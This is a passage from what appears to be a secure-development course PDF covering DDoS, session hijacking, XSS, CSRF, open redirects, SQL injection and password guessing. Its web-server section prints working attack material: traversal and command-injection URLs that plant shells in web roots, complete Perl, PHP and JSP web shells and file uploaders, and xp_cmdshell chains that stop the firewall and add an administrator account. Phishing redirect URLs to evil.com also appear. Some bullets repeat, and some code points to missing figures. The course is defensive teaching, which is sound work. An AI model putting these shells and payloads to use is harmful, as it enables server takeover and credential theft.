It should be noted that in some cases a machine may become part of a DDoS attack with theowner's consent. An example of this is the 2010 DDoS attack against major credit cardcompanies by supporters of WikiLeaks. In cases such as this, supporters of a movement (in thiscase, those opposing the arrest of WikiLeaks founder Julian Assange) choose to download andrun DDoS software.

Amplification/Smurf attack

The Smurf attack is a way of generating significant computer network traffic on a victimnetwork. This is a type of denial-of-service attack that floods a target system via spoofedbroadcast ping messages.

Page 36: Java secure development   part 1

35 | P a g e

This attack relies on a perpetrator sending a large amount of ICMP echo request (ping) traffic toIP broadcast addresses, all of which have a spoofed source IP address of the intended victim. Ifthe routing device delivering traffic to those broadcast addresses delivers the IP broadcast to allhosts (for example via a layer 2 broadcast), most hosts on that IP network will take the ICMPecho request and reply to it with an echo reply, multiplying the traffic by the number of hostsresponding. On a multi-access broadcast network, hundreds of machines might reply to eachpacket.

In the late 1990s, many IP networks would participate in Smurf attacks (that is, they wouldrespond to pings to broadcast addresses). Today, thanks largely to the ease with whichadministrators can make a network immune to this abuse, very few networks remain vulnerableto Smurf attacks.

The fix is two-fold:

Configure individual hosts and routers not to respond to ping requests or broadcasts.

Configure routers not to forward packets directed to broadcast addresses. Until 1999, standardsrequired routers to forward such packets by default, but in that year, the standard was changedto require the default to be not to forward.

Another proposed solution, to fix this as well as other problems, is network ingress filteringwhich rejects the attacking packets on the basis of the forged source address.

An example of configuring a router not to forward packets to broadcast addresses, for a Ciscorouter, is:

Router(config-if)# no ip directed-broadcast

(This example does not prevent a network from becoming the target of Smurf attack; it merelyprevents the network from "attacking" other networks, or better said, taking part in a Smurfattack.)

A Smurf amplifier is a computer network that lends itself to being used in a Smurf attack. Smurfamplifiers act to amplify (worsen the severity of) a Smurf attack because they are configured insuch a way that they generate a large number of ICMP replies to a spoofed source IP address(the victim of the attack).

Page 37: Java secure development   part 1

36 | P a g e

Session Hi-Jacking - What is Session Hi-Jacking?

• Taking over an active session to a computer system

• In order to attack the system, the attacker must know the protocol/method being usedto handle the active sessions with the system

• In order to attack the system, the attacker must achieve the user’s session identifier(session id, session hash, token, IP)

• The most common use of Session Hi-jacking revolves around textual protocols such asthe HTTP protocol where the identifier is the ASPSESSID/PHPSESSID/JSESSIONparameter located HTTP Cookie Header aka “The Session Cookie”

• Most common scenarios of Session Hi-Jacking is done with combination with:

• XSS - Where the session cookie is read by an attacker’s JavaScript code

• Man-In-The-Middle – Where the cookie is sent over clear-text HTTP through theattacker’s machine, which becomes the victim’s gateway

Page 38: Java secure development   part 1

37 | P a g e

Page 39: Java secure development   part 1

38 | P a g e

Page 40: Java secure development   part 1

39 | P a g e

Page 41: Java secure development   part 1

40 | P a g e

Page 42: Java secure development   part 1

41 | P a g e

Page 43: Java secure development   part 1

42 | P a g e

Hacking Web Servers How Web Servers Work

According to the research made by Ponemon Institute, web hacking and web based attacks arethe most costly for companies. The research results can be seen here:

These is a techniques rely purely on HTTP traffic to attack and penetrate web servers and applicationservers. This technique was formulated to demonstrate that having tight firewalls or SSL does not reallymatter when it comes to web application attacks. The premise of the one-way technique is that only validHTTP requests are allowed in and only valid HTTP responses are allowed out of the firewall.

Components of a generic web application system

There are four components in web application systems, namely the web client which is usually a browser,the front-end web server, the application server and for a vast majority of applications, the databaseserver. The following diagram shows how these components fit together.

Page 44: Java secure development   part 1

43 | P a g e

The web application server hosts all the application logic, which may be in the form of scripts, objects orcompiled binaries. The front-end web server acts as the application interface to the outside world,receiving inputs from the web clients via HTML forms and HTTP, and delivering output generated by theapplication in the form of HTML pages. Internally, the application interfaces with back-end databaseservers to carry out transactions.

The firewall is assumed to be a tightly configured firewall, allowing nothing but incoming HTTP requestsand outgoing HTML replies.

URL mappings to the web application system

While interacting with a web application, the URLs that get sent back and forth between the browser andthe web server typically have the following format:

http:// server / path / application? Parameters

The following diagram illustrates how different parts of the URL map to various areas in the webapplication system:

Page 45: Java secure development   part 1

44 | P a g e

The protocol (http or https) is allowed in and out by the firewall. The server and path parts are parsed by the front-end web server. Any vulnerabilities present in

URL interpretation (e.g. Unicode, double-decode) can be exploited by tampering with the serverand path of the URL.

The application is executed by the application server with which it is configured or registered.Tampering with this part may result in exploiting vulnerabilities present with the applicationserver. (e.g. compiling and executing arbitrary files using the JSP servlet handler)

Parameters supplied to the application, if not properly validated, may result in vulnerabilitiesspecific to that application. (e.g. inserting pipe "|" characters to the open() call in Perl)

If a parameter is used as a part of an SQL database query, poorly validated parameters may leadto SQL injection attacks. (e.g. execution of arbitrary commands using stored procedures such as"xp_cmdshell")

Flowchart for a one-way web hack

Consider the example where an attacker finds a vulnerable web application, and is able to exploit it usingtechniques such as the ones mentioned previously. The attacker has achieved arbitrary commandexecution, but due to the restrictive firewall, is unable to proceed further into the network. To make anattack effective, two things are essential:

1. Interactive terminal access - for running commands to pilfer the attacked server or penetratefurther into the network.

2. File transfer access - for transferring attack tools such as port scanners, rootkits, etc.

A tight firewall can make it very difficult to achieve the above objectives; however, it is not impossible. Toget around these restrictions, with a little bit of web application programming knowledge, we can create aweb based command prompt and a file uploader.

Page 46: Java secure development   part 1

45 | P a g e

Before proceeding further we shall take a preview of the various stages of the one-way hack, as illustratedby the following diagram:

Finding the entry point

The one-way hack begins when we are able to achieve remote command execution on the target webserver. We can use any of the common techniques used to attack web servers. We shall present a fewexamples of various ways of achieving remote command execution based on different types of URLmappings as described previously. A detailed discussion on web server and application vulnerabilities isbeyond the scope of this paper.

Our objective is to create a backdoor by moving the shell interpreter (/bin/sh, cmd.exe, etc.) to an areawithin the web server's document root. This way, we can invoke the shell interpreter through a URL. Wepresent three examples which illustrate how to create backdoors using various exploitation techniques.

The diagram below illustrates some of the techniques used to find an entry point:

Page 47: Java secure development   part 1

46 | P a g e

Exploiting URL parsing

The Unicode / Double decode attack is a classic example of a URL parsing vulnerability. The URL belowcopies the command interpreter - cmd.exe - into the "scripts/" directory within the web server'sdocument root:

http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+

c:\winnt\system32\cmd.exe+c:\inetpub\scripts

Exploiting poorly validated input parameters

In this example, an unchecked parameter is passed from the URL to a Perl CGI script news.cgi using theopen() call in an insecure manner:

http://www2.example.com/cgi-bin/news.cgi?story=101003.txt|cp+/bin/sh+

/usr/local/apache/cgi-bin/sh.cgi|

The shell (/bin/sh) gets copied into the cgi-bin directory as sh.cgi.

Exploiting SQL injection

Here, we show how SQL injection can be used to invoke a stored procedure on a database server, and runcommands via the stored procedure:

http://www3.example.com/product.asp?id=5%01EXEC+master..xp_cmdshell+

Page 48: Java secure development   part 1

47 | P a g e

'copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\'

Invoking the command interpreter

Our objective of creating a backdoor by moving the command interpreter or the shell into the webdocument root is to be able to invoke it remotely over HTTP. The HTTP POST method is best suited for thispurpose. Using POST, the input data gets passed to the invoked resource over standard input, and theweb server returns the output generated by standard output back over the HTTP connection.

We shall illustrate how to send commands to command interpreters over POST, with an example of sh.cgi(which is a copy of /bin/sh) on Apache and Linux.

Posting commands to /bin/sh

The example below shows three commands being run with /bin/sh, which is accessible onhttp://www2.example.com/cgi-bin/sh.cgi. The POST request is shown in bold letters.

$ nc www2.example.com 80POST /cgi-bin/sh.cgi HTTP/1.0Host: www2.example.comContent-type: text/htmlContent-length: 60

echo 'Content-type: text/html'echounameidls -la /exit

HTTP/1.1 200 OKDate: Thu, 27 Nov 2003 20:47:20 GMTServer: Apache/1.3.12Connection: closeContent-Type: text/html

Linuxuid=99(nobody) gid=99(nobody) groups=99(nobody)total 116drwxr-xr-x 19 root root 4096 Feb 2 2002 .drwxr-xr-x 19 root root 4096 Feb 2 2002 ..drwxr-xr-x 2 root root 4096 Jun 20 2001 bindrwxr-xr-x 2 root root 4096 Nov 28 02:01 bootdrwxr-xr-x 6 root root 36864 Nov 28 02:01 devdrwxr-xr-x 29 root root 4096 Nov 28 02:01 etcdrwxr-xr-x 8 root root 4096 Dec 1 2001 homedrwxr-xr-x 4 root root 4096 Jun 19 2001 libdrwxr-xr-x 2 root root 16384 Jun 19 2001 lost+founddrwxr-xr-x 4 root root 4096 Jun 19 2001 mnt

Page 49: Java secure development   part 1

48 | P a g e

drwxr-xr-x 3 root root 4096 Feb 2 2002 optdr-xr-xr-x 37 root root 0 Nov 28 2003 procdrwxr-x--- 9 root root 4096 Feb 9 2003 rootdrwxr-xr-x 3 root root 4096 Jun 20 2001 sbindrwxrwxr-x 2 root root 4096 Feb 2 2002 srcdrwxrwxrwt 7 root root 4096 Nov 28 02:01 tmpdrwxr-xr-x 4 root root 4096 Feb 2 2002 u01drwxr-xr-x 21 root root 4096 Feb 2 2002 usrdrwxr-xr-x 16 root root 4096 Jun 19 2001 var$

The care and feeding of /bin/sh over Apache is slightly different. Apache expects a well formed HTTPresponse header from all its CGI programs, hence we have to prepend the lines "Content-type: text/html"in the output. The two "echo" commands are for this purpose.

Automating the POST process

We have created two Perl scripts post_cmd.pl and post_sh.pl to automate the task of preparing theproper POST requests for the commands and sending them to the web server. The syntax for invokingpost_cmd.pl is as follows:

usage: post_cmd.pl url [proxy:port] < data

By Saumil Shah (c) net-square 2001

post_cmd.pl takes all the data to be POSTed to the URL as

standard input. Either enter the data manually and hit ^D (unix)

or ^Z (dos) to end; or redirect the data using files or pipes

post_sh.pl is on similar lines.

The examples below show the same results being derived using the Perl scripts instead of forming ourown POST requests:

Output of post_sh.pl$ ./post_sh.pl http://www2.example.com/cgi-bin/sh.cgiunameidls -la /^DHTTP/1.1 200 OKDate: Thu, 27 Nov 2003 20:43:54 GMTServer: Apache/1.3.12Connection: closeContent-Type: text/html

Page 50: Java secure development   part 1

49 | P a g e

Linuxuid=99(nobody) gid=99(nobody) groups=99(nobody)total 116drwxr-xr-x 19 root root 4096 Feb 2 2002 .drwxr-xr-x 19 root root 4096 Feb 2 2002 ..drwxr-xr-x 2 root root 4096 Jun 20 2001 bindrwxr-xr-x 2 root root 4096 Nov 28 02:01 bootdrwxr-xr-x 6 root root 36864 Nov 28 02:01 devdrwxr-xr-x 29 root root 4096 Nov 28 02:01 etcdrwxr-xr-x 8 root root 4096 Dec 1 2001 homedrwxr-xr-x 4 root root 4096 Jun 19 2001 libdrwxr-xr-x 2 root root 16384 Jun 19 2001 lost+founddrwxr-xr-x 4 root root 4096 Jun 19 2001 mntdrwxr-xr-x 3 root root 4096 Feb 2 2002 optdr-xr-xr-x 37 root root 0 Nov 28 2003 procdrwxr-x--- 9 root root 4096 Feb 9 2003 rootdrwxr-xr-x 3 root root 4096 Jun 20 2001 sbindrwxrwxr-x 2 root root 4096 Feb 2 2002 srcdrwxrwxrwt 7 root root 4096 Nov 28 02:01 tmpdrwxr-xr-x 4 root root 4096 Feb 2 2002 u01drwxr-xr-x 21 root root 4096 Feb 2 2002 usrdrwxr-xr-x 16 root root 4096 Jun 19 2001 var$

In this manner, we can issue multiple commands to the target web server using HTTP POST requests. Thisconcept shall be used to create arbitrary files on the web server, as discussed in section 4.1

Web based command prompt

After achieving remote command execution, we need to be able to interactively run commands on thetarget web server. Common ways of doing this would be to either spawn a shell or bind it to a TCP port onthe target web server, or to launch a shell connection back to a TCP listener, or to launch an xterm to aremote X display. However, given a tight firewall which allows only HTTP requests as incoming traffic andHTTP responses as outbound traffic, such techniques will not work. We shall present here examples of"web based command prompts" to get around these restrictions.

A web based command prompt provides the functionality of a semi-interactive shell terminal, via anHTML form. The form accepts the command as an <INPUT> field and displays the resultant output as pre-formatted text.

The reason why web based command prompts are semi-interactive is because they do not save the stateof the terminal, such as the current working directory, system environment, etc. These can beimplemented by session based HTML forms, however, that is beyond the scope of this paper.

Commands executed by such web based command prompts assume the privileges of the web serverprocess. Typically, for UNIX systems running Apache, the uid is "nobody", whereas for Windows systemsrunning IIS, the privileges are those of "IUSR_machinename" or "IWAM_machinename"

Given below are four examples of a web based command prompt:

Page 51: Java secure development   part 1

50 | P a g e

Perl - perl_shell.cgi

The following script using Perl provides a semi-interactive web based command prompt.

#!/usr/bin/perl

require "cgi-lib.pl";

print &PrintHeader;print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n";print "<INPUT NAME=cmd TYPE=TEXT>\n";print "<INPUT TYPE=SUBMIT VALUE=Run>\n";print "</FORM>\n";

&ReadParse(*in);

if($in{'cmd'} ne "") {print "<PRE>\n$in{'cmd'}\n\n";print `/bin/bash -c "$in{'cmd'}"`;print "</PRE>\n";

}

Page 52: Java secure development   part 1

51 | P a g e

PHP - sys.php

Creating a web based shell with PHP is very simple. The following script illustrates a web based shell inPHP:

<FORM ACTION="sys.php" METHOD=POST>Command: <INPUT TYPE=TEXT NAME=cmd><INPUT TYPE=SUBMIT VALUE="Run"><FORM><PRE><?php

if(isset($cmd)) {system($cmd);

}?><PRE>

JSP - cmdexec.jsp

The following JSP code is a web based command prompt for J2EE application servers supporting JavaServer Pages.

<FORM METHOD=GET ACTION='cmdexec.jsp'><INPUT name='cmd' type=text><INPUT type=submit value='Run'></FORM>

<%@ page import="java.io.*" %><%

String cmd = request.getParameter("cmd");String output = "";

if(cmd != null) {String s = null;try {

Process p = Runtime.getRuntime().exec(cmd);BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine()) != null) {

output += s;

Page 53: Java secure development   part 1

52 | P a g e

}}catch(IOException e) {

e.printStackTrace();}

}%>

<pre><%=output %></pre>

Any web application programming language, which allows native OS commands to be run, can be used tocreate a web based command prompt.

File uploader

In addition to being able to run commands on the target web server, an attacker would also be interestedin transferring files into the web server. Usual techniques such as FTP, NFS, NetBIOS, etc. do not worksince the firewall would prevent all these. To get around this obstacle, we need to create a file uploader.The technique mentioned in section 4.1.2 can be painfully slow for large files. There is a better option,though.

It is possible to upload files using the HTTP POST Multipart-MIME [3] method. The contents of the file getsent to the server in an HTTP POST request. On the server, an upload script receives these contents andsaves them into a file. A detailed discussion of HTTP Multipart-MIME POST requests is beyond the scopeof this document.

To perform file uploads, we would require a directory where the web server process (nobody,IUSR_machinename, IWAM_machinename, etc.) has privileges to create and write to files.

Given below are three examples of such upload scripts:

Perl - upload.cgi

Using Perl and cgi-lib.pl, it is easy to create an uploader script. The following example shows how:

#!/usr/bin/perl

require "cgi-lib.pl";

print &PrintHeader;print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>\n";print "File path: <input type=file name=upfile>\n";print "<input type=submit value=upload></form>\n";&ReadParse;

Page 54: Java secure development   part 1

53 | P a g e

PHP - upload.php

Creating an uploader with PHP is just as simple.

<FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST><INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000000"><input type="File" name="userfile" size="30"><INPUT TYPE="submit" VALUE="upload"></FORM>

<?phpif($userfile_name != "") {

copy("$userfile", "./$userfile_name") or die("Couldnt copy file");echo "File name: $userfile_name<br>\n";echo "File size: $userfile_size bytes<br>\n";echo "File type: $userfile_type<br>\n";

}?>

Once we have both command execution and file upload facilities over HTTP, we can do prettymuch whatever we please with the target web server. It would be possible to:

Discover source code and configuration files on the web server,discover the internal network (if any) that the target web server lies on,upload attack tools on the web server and execute them,... and much more

An obvious next step is to attempt to escalate privileges, since we are bound by the privilegesextended to us by the web server process. The next section discusses just that.

Page 55: Java secure development   part 1

54 | P a g e

One-Way Privilege EscalationWeb based command prompts; inherit the privileges of the process under which they arerunning. Usually, these privileges are restricted user level privileges, unless the web serverprocess is running with elevated privileges. A few application servers, which plug-in to the frontend web server, run with elevated privileges. To take the attack deeper, in most cases, onewould need some sort of privilege escalation, after installing a web based command prompt andan HTTP file uploader.

Privilege escalation attacks are nothing unique. There are many exploits for various operatingsystems which result in escalating the privileges to either the super user, or to a more privilegeduser. Most privilege escalation attacks can be adapted to the one-way attack technique.

A detailed discussion of privilege escalation attacks is not within the scope of this paper. Weshall discuss two examples of privilege escalation attacks, "Microsoft IIS 5.0 In-Process TablePrivilege Elevation Vulnerability" for the Windows and IIS platform, and the "Linux Ptrace/SetuidExec Vulnerability" for the Linux and Apache platform.

Care must be taken that the privilege escalation exploit runs non-interactively, i.e. it should notrequire an interactive shell, an interactive terminal, a GUI console, etc. For this example, we hadto modify the Linux ptrace exploit to adapt it for one-way use.

Page 56: Java secure development   part 1

55 | P a g e

Web Application Vulnerabilities Web Application Setup

XSS – Cross-Site-Scripting

Introduction

• XSS is a vulnerability which exists on the server side, but poses a risk only for theserver’s clients

• The “attack” occurs when a web server replies the user with the exact raw data receivedfrom the user at a certain point in time.

Reflected XSS (Type I)

• In order to exploit the vulnerability:

– the attacker supplies the user with a link

– once clicked, the user sends data to the server

– the server replies it

– the browser executes it

• The attacker may send malicious JS code that will execute in the context of the givensite.

• This code is able to:

– Exploit the browser

– Steal cookies

– Perform GET and POST requests using the user`s credentials

– Perform content spoofing attacks

– Deface the site

Page 57: Java secure development   part 1

56 | P a g e

Permanent (Stored) XSS

• Another vector of this attack is called “Stored XSS”, unlike the previous vector. In thisattack there is no need to navigate the user to a specially crafted URL.

• This attack requires the attacker to find a permanent place within the application thatcan store his code, for example:

blog`s comments

user`s profile settings

Etc…

DOM XSS…

XSS-Shell

• XSS-Shell is an attack platform designed to be launched from an XSS vector.

• The usage of this platform is as following:

The attacker sends the user a link referring to a vulnerable site

Upon clicking this link the client`s browser runs the JS code of the XSS-Shell platform

This code hijacks the browser and starts receiving commands from the server

Page 58: Java secure development   part 1

57 | P a g e

The attacker can send new commands that will be evaluated in the client`s browser as longas this attack is active

The client can stop the attack in two ways:

Manually navigate to the different site using the navigation bar

Closing the browser completely

XSS Worms

• In the age of social networks and mash web sites, a single XSS attack in a major site canbe turned into an army of computers, just waiting for commands from the attacker.

• Using the power of JS code there is even no need to try and exploit the browser. Mostuses of Bot-nets today are D.O.S and SPAM attacks.

The Future of SPAM

• While SPAM attacks are still hard to launch using JS, there are several ways attackersuse to achieve this goal.

• Mime injections is an uprising attack that allows an attacker to inject text into the mimeheaders of an outgoing mail and change the values of those headers before being sent.

• The vulnerability is mostly common in “Contact Us” forms which lack input validation onfields such as:– From– To– Subject– Date and so on…

• Correct usage of this vulnerability will allow the attacker to craft their own email andsend it to their victims using the vulnerable third party site.

• This method of SPAM will also bypass the “Secure Domain Tokens” that validates thesender’s domain.

• The attacker can use a XSS worm to take advantage of such Inject-able sites in order toproduce a SPAM network with no Trojan Horses or any kind of backdoor tools.

Page 59: Java secure development   part 1

58 | P a g e

• Correct usage of this vulnerability will allow the attacker to craft their own email andsend it to their victims using the vulnerable third party site.

• This method of SPAM will also bypass the “Secure Domain Tokens” that validates thesender’s domain.

• The attacker can use a XSS worm to take advantage of such Inject-able sites in order toproduce a SPAM network with no Trojan Horses or any kind of backdoor tools.

D.o.S attacks

• D.o.S attacks are fairly easy to deploy.

• Consider a XSS worm on Facebook.com

• Every user that logs in will get a command from the server.

• This command will cause the browser to send a Post request to CNN.com

• Considering the amount of users Facebook has simultaneously, CNN will be down withina few minutes.

Page 60: Java secure development   part 1

59 | P a g e

Information Gathering

Beyond malicious attacks on third party sites, the attacker may use their worm to gathersensitive information from their victims

• The attacker can harvest the following details using the XSS alone:

– Password (using a perfect phishing attack)– Name– Age– Email– Friend list (that will also be attacked to become future victims)

Automated exploiting bots

Another usage of an XSS worm is to automatically scan and exploit other vulnerabilities. In orderto achieve this goal the attacker needs to exploit one of the victim`s browser and execute abackdoor that will act as the server. The server will then be used by all the other victims or,“Fetchers”. The Fetchers will send a request to the server asking for a new list to attack. Theserver will then use Google or any other search engine to get a list of sites that suit the attackand return it to the fetcher. The fetcher now asks the server for the content of a certain site onthe list. Once the value returns, the fetcher parse out the inner link from this page. This is wherethe user starts to actively participate in the attack:

• The worm’s JavaScript code running on each user’s machine blindly sends a genericattack request/string/code to the targets/links retrieved by the fetcher with knownvulnerabilities such as SQL Injections.

Page 61: Java secure development   part 1

60 | P a g e

• For each pattern found, the fetcher tries to exploit the machine using preset values.

• Successful exploitations will cause the attacked machine to report itself to the attackerthus entering to the attack circle.

• This may have a low ratio of success but when talking about an XSS Worm in thesufficient magnitude and considering the fact that this process is fully automatic theresult is highly satisfying for the attacker

• The fetcher checks for patterns on those links for known vulnerabilities such as SQLInjections.

• For each pattern found, the fetcher tries to exploit the machine using preset values.

• Successful exploitations will cause the attacked machine to report itself to the attackerthus entering to the attack circle.

• This may have a low ratio of success but when talking about an XSS Worm in thesufficient magnitude and considering the fact that this process is fully automatic theresult is highly satisfying for the attacker

Malware Script Detector

• Malware Script Detector(MSD)http://userscripts.org/scripts/show/30284

• Coded mainly to detect today’s popular powerfully malicious JavaScript attackframeworks: XSS-Proxy, XSS-Shell, AttackAPI, BeEF

• Version 2 was enhanced to prevent most XSS threats and includes XSS Attack Blacklistsbased on Firefox XSS-Warning add-on

Cross Site Request Forgery (CSRF/XSRF/Session Riding)

Introduction

Cross Site Request Forgery (CSRF) is a client side attack that takes advantage of insecure webapplications. In order to understand this vulnerability let’s take a simple example, a website thathas:

A user management section with a “remember me” cookie.

Page 62: Java secure development   part 1

61 | P a g e

The site has a *simple Change Password form.

The risks and common uses

• The form has one input, the new desired password.

• The attacker also discovered XSS vulnerability in a high traffic third party site.

• The attacker can use this XSS and cause the victim to generate a post to the originalform on the first site.

Page 63: Java secure development   part 1

62 | P a g e

• The browser will then send an HTTP POST request to the first server, it will automaticallyinclude the cookie that it had saved and the password will change as the attackerdesired.

• The attacker can make the user post any form (rather GET or POST method) without theuser having any way of controlling the event or even knowing it is happening (withoutthe use of sniffing or analysis tools).

• Most attackers choose the obvious forms to exploit:

• Password change

• Password reminder question change

• Email change

• Money transfer

Tokens vs. Personal Information as a solution for CSRF

• Tokens work in the following way:

– The user requests a page.

– The server generates a random token and appends it as a hidden field to the form.

Page 64: Java secure development   part 1

63 | P a g e

– The user fills out the form and submits it back to the server.

– The server can now compare the token it has saved and the one received by the userin order to verify the submit process was legitimate.

• Personal Information is used to validate the request is legitimate and human generated.

• Two ways are generally used in this method:

– Old password

– Security question

• The problem with this method of action is that it is not 100% secure, personalinformation can be found out by the attacker and then the security mechanism has nomeaning.

• Combining both methods and adding a CAPTCHA mechanism is the best way to defendagainst this type of attacks.

Open/Un-Validated Site Redirection / Cross Domain Redirect

In order to understand Open Site Redirection, we will explore the vulnerability found on theWordPress blogging platform. In WordPress, there is a login redirect feature that can be abusedfor phishing purposes. The parameter ‘redirect_to’ usually contains the relative URL to wherethe user is redirected AFTER logging in successfully.

i.e.: /wordpress/wp-admin/index.php

However, such parameter also allows absolute URLs that point to a domain different to the onewhere the legitimate WordPress login page is hosted.

i.e.: http://legitimate.com/wordpress/wp-login.php?redirect_to=http://evil.com

or

http://legitimate.com/wordpress/wp-login.php?redirect_to=http://%65%76%69%6c%2e%63%6f%6d

(Evil domain name is hex-encoded for obfuscation purposes) where ‘http://evil.com’ would be amalicious site hosting a spoof WordPress login page.

Page 65: Java secure development   part 1

64 | P a g e

Attack scenario:

1. Attacker launches a phishing attack against the victim using the following URL:

http://legitimate.com/wordpress/wp-login.php?redirect_to=http://%65%76%69%6c%2e%63%6f%6d

2. Victim logs in successfully

3. Victim is redirected to evil.com where there is a spoof WordPress login page that looks likethe original. Such login page returns an authentication error message like the following:

“ERROR: Invalid username.”

4. Victim thinks he/she entered the wrong username and re-enters username and passwordagain

5. Credentials are now logged by the attacker

• Many sites today use redirections and forwards to third party sites.

• Each non-validated redirection or forward to third party sites are potentially an attackvector waiting to be exploited.

• There are a few risks when talking about non-validated referrals.

Common uses and Risks

Page 66: Java secure development   part 1

65 | P a g e

• The number one use of this non-validated feature will be to implement an XSS attack ona third party site.

• This XSS cannot affect the referring site, it still uses that site`s credibility to unleash theattack.

• For example, the following link bypasses the Facebook redirect checks:

• Or coded to the more practical way:

• In a more discreet way:

• Another vector of attack is Content Spoofing.

• If the attacker can control the content of a frame inside a major news web server, theycould then create false posts of information that will endanger the credibility of the sitein addition to the profit generated to the attacker.

http://www.facebook.com/l.php?u=http://attacker_site.com&h=781d3

http://www.facebook.com/l.php?u=%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%5f%73%69%74%65%2e%63%6f%6d&h=781d3

Page 67: Java secure development   part 1

66 | P a g e

Validating Redirects and Forwards

• The application must validate the URL before forwarding the user thus assuring the linkis safe.

• In case the application cannot validate the URL it should prompt the user of theredirection before forwarding it.

Page 68: Java secure development   part 1

67 | P a g e

SQL-injection - What is SQL Injection?

Introduction

• SQL Injection is a vulnerability which exists on the server side and poses a risk to theDatabase server of the application.

• The attack occurs when a web server passes the exact raw data received from the userto the Database server.

• In order to exploit the vulnerability:

– The attacker must identify an input to the application that is involved in a databasequery

– Once found, the attacker can manipulate this argument in order to change thenature of the original query

• The following VB code generates a SQL statement using a parameter from the user

• In case the value is in the correct template, the application will work as planned

• On the other hand, the following input will completely change the nature of this query:

1’ or ‘1’=‘1

• The statement will appear as following:

• The outcome of the last statement will always result in the value: “true”.

• An attacker does the same manipulation in the login SQL statement.

• By making sure the statement will always result in “true”, the attacker is able toinstantly log in to the system.

Dim SSN as StringDim SqlQuery as StringSSN = Request.QueryString(“ID")SqlQuery = "SELECT lname, fname FROM users WHERE id = '" + ID + "'"

Select lname, fname FROM users WHERE id=‘1’

Select lname, fname FROM users WHERE id=‘1’ or ‘1’=‘1’

Page 69: Java secure development   part 1

68 | P a g e

• In addition to login credentials the attacker can also go after the information within theDatabase itself, for example Credit Cards.

• The attacker can use several vectors when trying to read data from the SQL server.

The PracticeError Based SQL Injection• When comparing columns of different types, the SQL server throws an exception.

• in this exception it explains exactly why the statement failed, for example:

– the attacker can compare the value of the @@version parameter, which is string, toan integer value

– The server in response will say the value of @@version (and the value itself!) cannotbe treated as an integer.

Union Based SQL Injection

• In case the server does not output errors or if the attacker would like a faster way to getthe data out of the server the SQL Union statement comes to hand

• The following query will act as the test case:

• the attacker can control the value of user_id and may manipulate the query asfollowing:

select name from users where user_id=‘100’

Page 70: Java secure development   part 1

69 | P a g e

• Instead of the name of the current user logged in, the application will output thepassword of the admin user.

Taking Over the Machine• An attacker can do more than just read, insert and modify records into the Database.

• With the right permissions, an attacker is able to run binary code on the actual serverrunning the SQL engine.

• For example, in MSSQL the procedure xp_cmdshell can be used to run the code it getsas a parameter with the permissions of the user running the SQL Server (SYSTEM).

• In SQL Server 2005 the function was disabled for security issues, but of course Microsoftleft a Reconfigure function that can turn it back on.

• The SQL query will look as following:

Enable Remote Command Execution:

Disable Windows Firewall:

Add an Administrative RDP Authorized User Account:

select name from users where user_id=‘-1’ union all select password from userswhere user_name=‘admin’

‘; exec master..sp_addextendedproc “xp_cmdshell”, “C:\Program Files\Microsoft SQLserver\MSSQL\Binn\xplog70.dll”;exec master..sp_configure “show advanced options”, 1;RECONFIGURE;exec master..sp_configure 'xp_cmdshell',1;RECONFIGURE;exec master. xp_cmdshell ‘cmd.exe /c dir c:\\’;

exec master. xp_cmdshell ‘NET STOP “Windows Firewall”’;exec master. xp_cmdshell ‘NET STOP “Internet Connection Firewall (ICF) / Internet ConnectionSharing (ICS)”’;exec master. xp_cmdshell ‘NET STOP “Windows Firewall/Internet Connection Sharing (ICS)”’;

Page 71: Java secure development   part 1

70 | P a g e

• Once the attacker has control over the machine they can then use it as a “Bot” in orderto automatically exploit other vulnerable sites.SQL injection as a lead to other vulnerabilities

• Once the attacker has control over the Database server they can with great easemanipulate the system and create additional security holes.

• For example, the attacker can change data in the SQL Server to bypass all of the inputvalidations against XSS attacks.

• This is why the application must always filter the input it gets, and should not considercertain sources as safe.SQL injection Automated tools

• There are a few key applications that make the usage of SQL injections practicallyautomated.

• The number one application will be Pangolin.

• Pangolin is designed to extract data from almost every type of SQL server:

– MSSQL– MySQL– Oracle– DB2 and more…

• In addition to data extraction Pangolin has the ability to:

– Execute code on the remote machine– Write files to the remote host– Directory and file manager– Registry editor– Custom SQL statements and more…

Pangolin:

exec master. xp_cmdshell ‘net user hackeruser hackerpass /add’;exec master. xp_cmdshell ‘net localgroup administrators hackeruser /add’;exec master. xp_cmdshell ‘net localgroup “Remote Desktop Users” hackeruser /add’;

Page 72: Java secure development   part 1

71 | P a g e

Page 73: Java secure development   part 1

72 | P a g e

SQLMap – Automated SQL Injection:

SQL injection Prevention

• Just like with XSS, there are plugins that attempt to prevent these attacks, along withmany WAF products in the market.

• The problem with these products remains the same; it cannot be a single line ofdefense. These products get broken.

• The application must have a filtering module that prevents these attacks on its own. Inthe case of SQL Injection the most important part is to encode the parameter beforesending it to the SQL Server so that characters like [‘] will have no effect.

• A common problem is the parameters that are not bound by quotes, like integers, theseparameters must be validated as an integer before sent further on in the application.

• Another vector of prevention is the use of parameterized queries inside storedprocedures.

Page 74: Java secure development   part 1

73 | P a g e

• This way the variables cannot be treated as SQL CODE but only as values of thosevariables.

• Once this is done, no matter what the attacker sends as an input, it could never beparsed as a part of the SQL statement.

• To add another layer of security, it is recommended to break down the storedprocedures into smaller units of code, each with its own permissions, to avoid a scenarioof one stored procedure having both read and write permissions.

• In addition, the parameters should be sanitized inside the stored procedures as a lastline of defense.

Page 75: Java secure development   part 1

74 | P a g e

Web-Based Password Cracking TechniquesAuthentication – Definition

If you invited me to try and crack your password, you know the one that you use over and overfor like every web page you visit, how many guesses would it take before I got it?Let’s see… here is my top 10 list. I can obtain most of this information much easier than youthink, and then I might just be able to get into your e-mail, computer, or online banking. Afterall, if I get into one I’ll probably get into all of them.1. Your partner, child, or pet’s name, possibly followed by a 0 or 1 (because they’re always

making you use a number, aren’t they?)2. The last 4 digits of your social security number.3. 123 or 1234 or 123456.4. “password”5. Your city, or college, football team name.6. Date of birth – yours, your partner’s or your child’s.7. “god”8. “letmein”9. “money”10. “love”Statistically speaking that should probably cover about 20% of you. But don’t worry. If I didn’tget it yet it will probably only take a few more minutes before I do…

